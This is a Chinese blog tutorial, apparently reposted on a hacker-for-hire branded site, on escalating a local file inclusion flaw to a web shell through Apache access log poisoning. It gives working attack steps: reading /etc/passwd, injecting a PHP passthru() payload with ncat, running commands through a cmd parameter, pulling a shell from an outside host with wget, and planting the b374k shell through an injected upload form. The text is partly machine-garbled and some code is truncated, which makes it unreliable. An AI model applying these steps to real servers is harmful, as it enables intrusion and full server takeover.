经过APACHE ACCESS LOG来使用LFI缝隙

访客5年前关于黑客接单800

本地文件包括(LFI)缝隙,常被入侵者用来提取站点地点服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即经过本地文件包括来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让咱们步入正题!
设置
我将运用我本地的浸透测验环境设置为例。我当时所运用的web运用程序是Mutillidae。此外,咱们有必要将Apache装备为答应目录遍历。
Options Indexes
show time
首要咱们来寻觅LFI缝隙,点击链接后咱们能够看到如下的url地址:
/index.php?page=
让咱们测验包括一个灵敏文件途径/etc/passwd,看看会发作什么。如下:
/index.php?page=/etc/passwd

居然成功读取到了文件内容!这也为咱们验证了该运用的确存在本地文件包括缝隙。接下来咱们来包括Apache access log,看看是否也能拜访到其间的内容。
拜访日志的方位和文件名在不同的体系上会有所差异,在我的体系上是/var/log/apache2/access.log。将url修正如下:
/index.php?page=/var/log/apache2/access.log

太棒了!拜访日志的内容也成功被加载。
经过以上的开始验证,现在是时分进入到咱们的第二阶段了。
Apache拜访日志的运用
在此之前,你有必要要对Apache日志有所了解。
服务器拜访日志记载服务器处理的一切恳求。
参阅来历:http://httpd.apache.org/docs/1.3/logs.html#accesslog
这也意味着咱们发送到服务器上的任何恳求都将会被保存到这儿。
首要咱们翻开一个终端,然后运用netcat向服务器发送一个GET恳求。咱们之所以没有运用浏览器发送此恳求,是因为它会对咱们的恳求进行url编码,这将导致它无法正常作业。咱们注入的代码如下:
 passthru($_GET['cmd']); ?>
关于passthru()函数:
passthru – 履行外部程序并显现原始输出
参阅来历:http://php.net/passthru
要运用netcat发送恳求,咱们需要在终端中履行以下操作:
ncat 192.168.56.101 80
然后咱们键入以下内容:
GET / passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
注:这儿你有必要将192.168.56.101更改为你方针的IP地址。这是我虚拟机的IP地址。
终究看起来应该像下面这样:
$ ncat 192.168.56.101 80
GET / HTTP/1.1
Host: 192.168.56.101
Connection: close
 
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
 
404 Not Found
Not Found
 
The requested URL /
现在让咱们来验证下咱们的注入是否有用,回来浏览器并向URL增加一个新参数:
cmd=
在咱们的比如中,我将运用id指令:
/index.php?page=/var/log/apache2/access.log&cmd=id
现在,咱们来看看咱们得到的输出。 仔细看,你会看到相似于红框标示的内容:

咱们的指令在服务器上成功被履行!
下面是咱们的重头戏,即获取服务器的浏览器shell。这儿有两种办法,之一种是运用wget,第二种是注入上传表单。咱们先来介绍之一种。
运用wget
Wget是一个文件下载指令。尽管并非总是那么有用,但作为最简略的办法是咱们首要需要去测验的。将cmd参数更改如下:
&cmd=wget http://somedomain.com/shellfile.php
这将把shellfile.php下载到服务器,并将其保存在当时的作业目录中(假如可读的话)。假如你想要将它保存在其它方位,你能够参阅wget手册。经过这种办法,能够为你省去上传表单的中心进程。
上传表单
假如wget不起作用,咱们能够运用上传表单这种办法。咱们将在服务器上履行echo指令,该指令将会将咱们的恣意内容写入到文件。将cmd参数更改如下:
"multipart/form-data" ACTION= echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: "userfile" TYPE="file">"submit" VALUE="Send"> move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
这将在服务器上创立一个带有上传表单的文件。然后咱们在浏览器中翻开该上传页面,上传咱们的浏览器shell。
如下所示,咱们成功上传了b374k shell。

进程回忆
1.经过获取passwd,hosts等文件来验证LFI缝隙;
2.经过LFI缝隙获取Apache日志拜访;
3.运用netcat或相似东西发送歹意恳求;
4.经过测验id,whoami等简略指令来验证代码履行;
5.运用wget或将上传表单写入服务器,将浏览器shell增加到服务器上;
6.拜访浏览器shell验证是否成功。
总结
尽管这自身并不是一个超高危险的缝隙,但在被正确运用的情况下也可能会带来巨大的安全要挟。
 

相关文章

运营商互联网事务暴出面安全

关于一个战士来说,最大的愿望便是能上战场真刀实枪的干上一战,相同关于一名安全人员来说,自己规划、建造的通过层层防护的系统,假如没有经历过一次进犯,难免有点索然寡味。在许多的甲方傍边,运营商互联网事务暴...

FALLOUT工具包再现江湖,让你浏览网站时不知不觉中招-黑客接单平台

近年来,网络进犯越来越无孔不入,看似往常的活动在进犯者眼中也成为了潜在的进犯时机,作为这一趋势的最新事例,本文将展现进犯者是怎么经过人们日常的阅读行为来装置AZORult的。AZORult是一类特务软...

javaweb的常见web缝隙

 0x01 前语 材料来历: http://javaweb.org/?p=567 http://zone.wooyun.org/content/19379 http://drops.wooyun.or...

Chafer运用的新的根据Python的有效载荷MechaFlounder

2019年11月,Chafer要挟小组针对土耳其政府从头运用他们在2019年早些时候运用的基础设施(Clearsky报导的活动中),特别是域名win10-update [.] com。尽管咱们没有见到...

怎么全面防护Webshell(下)?

 在进行查询时,最要害的部分之一是找到黑客的进口点,尤其是当运维团队将受进犯的服务器康复正常后,咱们意识到有许多的服务器现已被各种webshell、rootkits和暗码导出东西感染时。 需求快速的...

中、小企业怎么自建免费的云WAF

概述 WEB进犯是十几年来黑客进犯的干流技能,国内的大厂们早已把WAF作为安全基础设施的标配,市面上也有许多安全厂商供给了WAF产品或云WAF服务。 关于没有自己安全团队,却又饱尝sql注入、xss...